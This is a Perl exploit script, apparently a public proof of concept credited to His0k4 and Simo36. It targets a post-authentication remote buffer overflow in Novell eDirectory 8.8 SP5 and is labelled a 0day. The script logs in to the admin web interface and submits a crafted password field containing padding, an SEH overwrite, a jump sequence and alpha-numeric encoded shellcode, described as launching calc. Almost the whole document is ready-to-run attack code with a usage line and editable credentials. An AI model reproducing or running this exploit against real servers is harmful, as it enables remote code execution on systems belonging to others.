#!usr\bin\perl

use WWW::Mechanize;
use HTTP::Cookies;
use HTTP::Headers;

$target=$ARGV[0];

if(!$ARGV[0]){

        print "[+] Novell eDirectory 8.8 SP5 (Post Auth) Remote BOF (0day)\n";
        print "[+] Exploit : His0k4 & Simo36\n";
        print "Usage:perl $0 [target]\n";
    print "Example : exploit.pl<http://exploit.pl> https://192.168.1.2:8030\n";
exit();
}


$login_url = "$target/_LOGIN_SERVER_";

$url = "$target/dhost/httpstk";

# calc shellcode
my $shellcode =
"PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJItiO9mSHi".
"YNjyzNYIRTetxtQKOqpsgcHUKIin24OsjKkL9r8tWYVqNZWdXUL9T5PQhid2".
"NbvqlmKH21MOLZyqT5PKXujXVuQM1NhMpuTUukYXunNmpy3MUnSPjrP8FTWi".
"n4wKTUKPjNnMxZb0MpGl2U2kxqzXFu2RSn8uLuMONjHekOYoSnxeCEvuWNpp".
"LbDpXQwJJoJtNQ1bONWT2pfYK64XCnLykBMOY5m5scooOMxq4UwmqNBY0Nb4".
"yEIirUQlkYMvhOXbLuNOrWJLpVVYou3toMlGwVhvnFnqSVIzCoygMyJKdroj".
"mOBXx6Xyinr4eZA";

my $junk = "\x41" x 468;
my $jmp  = "\x75\x06\x41\x42";
my $seh  = "Du0d";    #Univ ret
my $align = "\x61" x 3;
my $eax = "\x50\xC3";
my $data1 = "\x43" x 146;
my $data2 = "\x43" x 900;

my $payload = $junk.$jmp.$seh.$align.$eax.$data1.$shellcode.$data2;

########Change Admin info########

      $username = "Admin.context";

       $password = "passwd";

#########################################

my $mechanize = WWW::Mechanize->new();
$mechanize->cookie_jar(HTTP::Cookies->new(file => "$cookie_file",autosave => 1));
$mechanize->timeout($url_timeout);

#Login
print "[x] Sending User & pass...\n";
$res = $mechanize->request(HTTP::Request->new('GET', "$login_url"));

    $mechanize->submit_form(

                  form_name => "authenticator",

                  fields    => {

                     usr => $username,
                     pwd => $password},

                     button => 'Login');

#vuln occurring
print "[x] Sending Exploit...\n";
$res = $mechanize->get("$url");
print "[x] Exploit Sent!\n";
    $mechanize->submit_form(

                  fields    => {

                     sadminpwd => $payload,
                     verifypwd => $payload}
            );

--
./His0k4